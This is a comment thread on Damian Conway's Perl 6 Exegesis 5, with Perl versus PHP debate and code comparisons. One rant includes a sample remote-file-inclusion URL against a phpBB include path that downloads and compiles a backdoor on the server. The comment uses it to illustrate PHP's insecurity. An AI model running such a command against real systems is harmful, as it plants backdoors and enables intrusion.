Damian Conway Publishes Exegesis 5

prostoalex writes "Come gather round Mongers, whatever you code, And admit that your forehead's about to explode, 'Cos Perl patterns induce complete brain overload, If there's source code you should be maintainin', Then you better start learnin' Perl 6 patterns soon, For the regexes, they are a-changin'. This remix of Bob Dylan serves as an epigraph to Exegesis 5."

Comments

Ugh

[Your_Mom]

I was excited for Perl 6 when it was first starting out, then I reading about all the stuff that is going to change, and got worried. Now, after reading this, I've come to the conclusions that I am sticking with Perl 5, as for my Web stuff, I'm finally taking theplunge and learning PHP. Perl 6 is starting to become a completely different language, all y stuff works now, and I don't feel like porting.

What does this mean for CPAN modules?

[shoppa]

It's good that many things that formerly required CPAN modules (e.g. recursive-descent packages) will be "built-in" to Perl 6. But will all the syntax changes mean that there will be a delay between the release of Perl 6 and all the CPAN modules catching up?

CPAN is a powerful resource. If all those modules get left behind, I fear we may end up with a more eloquent language in Perl 6 but with substantially less usability.

Perl6 FAQ

[ajs]

Perl 6 is a big scary beast that sets people off in a lot of ways. Let me try to answer some of the big questions:

• Why is Perl changing so much?!

  Because it needs to. Perl is the legacy of something like 15 years of development and evolution. It started as a simple text processing system, and is now used in every field of endevor where computers are used. There are some old things that needed to go, some new things that were needed and generally a need to re-examine the way "stuff" was done.

• But what about my programs? Why break them?!

  Perl 6 is two things (at least): a parser for Perl 6 and a back-end virtual machine, much like Java or C#. One of the design criteria for the release of Perl 6 is a Perl 5 compatible parser front-end that outputs Perl 6 virtual machine bytecode. This means that your Perl 5 programs will run with no modification in a Perl 6 environment (or at most a path change to the interpreter, that much is still under some debate).

• Why would you want to break compatibility with other regular expression engines?

  Remember that Perl has been leading the pack in terms of regular expression handling for a long time. Now Perl is moving beyond regular expressions to grammar specification. This is a good thing, as long as the benefits of regular expressions are preserved.

Some of this will be good for everyone. Some of it some of you won't like, but a lot of it you will. Give Perl 6 a chance, and don't react as if we've shot your pet.

Wow. A perl 4 geek's summary

[dschuetz]

[preface:
I first used perl back in version 3, something like 12 years ago. I first really learned perl, v4, about 9 years ago. It did everything I ever needed.

Then, perl 5 came out. I didn't bother "learning" it -- that is, I've been using it, and when I really need to, I've used some perl 5 features, but I've learned them as I go (by example), and I know I'm not really using the full capabilites. (plus, though I know what I'm doing, I don't always know what to call what I'm doing -- I got stumped the other day when someone asked me how to do pointers in perl. I drew a blank, not making the connection to all the weird hash magic I'd been doing lately. But I digress.)

Anyway, the bottom line of this is: Perl 5 looked interesting, but like more of the same, and wasn't really compelling for me to buckle down and learn all the new features. Perl 6, on the other hand, scares me. In a good way.

Here's a page-by-page description of how I read the article:

• Page 1: Hm. Looks like they're describing a grammar with regex. Cool.
  
• Page 2: I can intuitively match against a set of strings! Wild. These strings can be expressions themselves? Even better!
  
• Page 3: It's a grammar. A full, honkin, real, honest-to-goodness grammar. That I can match against. Are those angels I hear singing?
  
• Page 4: <head explodes>
  
• Page 5: <drools>
  

Seriously, though, I was concerned at first that I'd have to learn something new, crazy, and difficult (given how screwed-up much of perl 5 has seemed, at times). I'm impressed. I'm very impressed. Yes, I have to learn somthing new and crazy, but it's not at all difficult. In fact, I think I've already learned it.

The power that this new system holds, and, more importantly, the simplicity of it all, is amazing.

So, unlike some other posters, I can't wait for Perl 6. When does this come out, again? And, more importantly, when can I buy the new book?

(also, was I the only one who expected, after the demonstration of matching method invocations, to be told that the entire source code for perl6 was just one giant RegEx/Grammar?)

Re:Monty Python and the Holy Grail Sinking Castle

[hachete]

glad you mentioned Python because I see they've managed to copy some Python regexp features - particularly that of returning matches to an array and the multi-line stuff. The P6 inheritance syntax looks cleaner as well, and almost python-like as well...

On another troll note, that extra syntax and abbreiviations for the "rule engine" (is that anything like a python service? probably not...)- a whole new other World Of Pain to enter. Less is better, IMTO. At least we won't see the end of messages saying "have you tried perl -w?" It's a pity somebody didn't build a Perl with -w, use strict and limiting the scope of $_ *switched on as default*. This would get rid of most the frustration.

With Perl6 scavenging CPAN for functionality, CPAN6 should be a lot smaller (if One True CPAN is retained, there will be even more Chaos, and I had enough trying to install the Multitude of Modules to get SoapLite.pm installed).

grumble, grumble, grumble

hachete

born to troll

"Ugh" is what I say when I think of PHP

[Second_Derivative]

Note: this is probably going to be horrendously biased because 99% of the PHP stuff I do is maintaining and customizing a vBulletin. For those who have ever dealt with this piece of crapware I'll say nothing more. Suffice it to say that if you run diff on, say, newthread.php and newreply.php the output is disturbingly short.

Look, I'm sorry but exactly what was supposed to be great about PHP? the fact that you can easily embed it in HTML code, that it integrates cleanly with MySQL and that you can pass args to it easily. Let us demolish each of these in sequence

* HTML embedding - Ever heard of MVC? I'm sorry, but if you compare something like this:

<ul>
<?php foreach ($users as $user) { ?>
<li><a href="user.php?userid=<?php echo $user->userid ?>"><?php echo $user->username ?></a></li>
<?php } ?>
</ul>

and, say, the equiv in Template Toolkit:

<ul>
[% FOREACH user = users %]
<li><a href="user.pl?userid=[% user.userid %]">[% user.username %]</li>
[% END %]
</ul>

now you tell me which looks neater? HTML-like templating syntax just looks dire because it all falls apart when you have to include stuff inside attributes. Not only is it ugly but it's unmaintainable. Want to skin your site in PHP? forget it. Want to skin it in perl/TT/CPAN templating engine of your choice? no problem, just supply a different base path to your template engine of choice. Of course most PHP coders have realized this so they've created their own templating engine, or use something like Smarty and just wrap everything in one great big PHP tag. Which quite frankly just defeats the entire point.

* Argument passing - this is hellish. Anything that comes in in a query string, cookie or post variable immediately enters your global namespace, where your often CRITICAL state variables are - hope you initialized them! I can't tell you how many times I got exploited by some stupid XSS exploit or the totally useless ability of include() to pull stuff in over HTTP. It's bad enough when a script kiddie just needs a unix system and the ability to use a compiler to root a machine but when 'h4xx0ring' can be done just by typing http://phpbb.mysite.com/includes/db.php?phpbb_root _path=http://my.webserver.com/&phpEx=txt&cmd=lynx+ -source+http://my.webserver.com/1337-backdoor.c+|+ gcc+-o+/tmp/1337-backdoor or something like that then it's quite clear that things are getting absolutely fucking ridiculous. In fact the PHP team have realized this and forced you to use $HTTP_POST_VARS or whatever other four-mile-long identifier to get at your vars (oh, sorry it's $_POST now) ... well, at least if php.ini says so. Which you can't count on anyway so I always write a little routine to bomb out the global namespace (except for the superglobals) at the start of each of my scripts. Stupid and unnecessary.

* MySQL integration - eh?! I'm sorry but I HATE the PHP MySQL API. The error handling is a joke so most people write their own wrappers around MySQL to catch errors and deal with them (that or it's back to checking the return value of every little thing. Thanks but if I wanted to do that I'd program in C). That and don't get me started on slashing. php.ini is set up so that your incoming variables may or may not get slashed. Again, you can't influence this or count on it if you've got shared hosting of some sort so either you've got to manually strip all the slashes out again or put them in - in which case you either have to deslashify something if you're using it internally or slashify it when passing it to mysql_query() to make sure someone doesnt take a great big shit all over your SQL. And that's if you're using MySQL. If you're using Postgres, there's a different API, and if you're using Oracle then there's a third. The fact that there's TWO different database abstraction systems built into the core of PHP (DBx and ODBC) and then some in PEAR shows that something is really horribly wrong.

Now compare to Perl DBI or Java JDBC or anything else which actually has a sane DB access API.

eval {
my $sth = $dbh->prepare('SELECT userid FROM user WHERE username = ?');
$sth->execute($username);
my $userid = $sth->fetchrow_array;
} if ($@) { confess "SQL Error: $@"; }

which in PHP looks like

if (!get_magic_quotes_gpc()) {
$username = addslashes($username)
}
$q = mysql_query("SELECT userid FROM user WHERE username = '$username'")
or die("Query failed: " . mysql_error());
if ($r = mysql_fetch_row($q)) {
$userid = $r[0];
}

I know which one I prefer. That and let's not forget the fact that every time you access a page, that page is parsed, its dependencies are parsed, initialization is performed, and then it handles your request. Also the standard library that comes with it is cack - everything is in the global namespace, there's no object orientation at all, parts of it look like the C standard library's been retrofitted into it because the designers were too damn lazy, it's inconsistent, there's several conflicting ways of doing everything and it's so badly designed that you're usually working AGAINST it than with it. (want to slurp a file? well you can use the file() command to make an array of lines, which you can join together again, or you can use readfile() which sends a file directly to the client, however you can get round that by using output buffering to capture it. Or you can use fopen() and the related commands to open the file, find its size, read it into a scalar then close it again. Aargh!) ... need I go on?

Now, look, I must admit Perl isn't great either. mod_perl is fast as lightning but it's got a ton of idiosyncracies of its own (mainly in the way of including things, eg include paths, namespaces, etc) and a lot of weird side-effects that are far from obvious and get in the way most of the time. I've written my own mini-wrapper around it that irons most of it out but it's still quite a pain.

As for PHP though, it does have its place, but remember what PHP stands for - PHP Hypertext PREPROCESSOR (I think). As SSI on steroids with some ability to interface with MySQL, it's a great system. But writing things like messageboards or shopping carts or portals in PHP is sheer lunacy. I've managed a PhpBB and a vBulletin as well as writing a mini news system that integrates with vB so maybe my experience isn't that great and someone ought to hit me with a clue-by-four. But if you can, please do because from what I've seen I find it very hard to like this language.

Re:Wow. A perl 4 geek's summary

[ajs]

was I the only one who expected, after the demonstration of matching method invocations, to be told that the entire source code for perl6 was just one giant RegEx/Grammar?

That's correct, and has been Larry's plan since the beginning. The Perl6 eval will be a rule like so:

if /^<$code <perlgrammar>>$/ {
Parrot.execute $code.bytecode;
}

Add command-line handling and that's your /usr/bin/perl in a nutshell.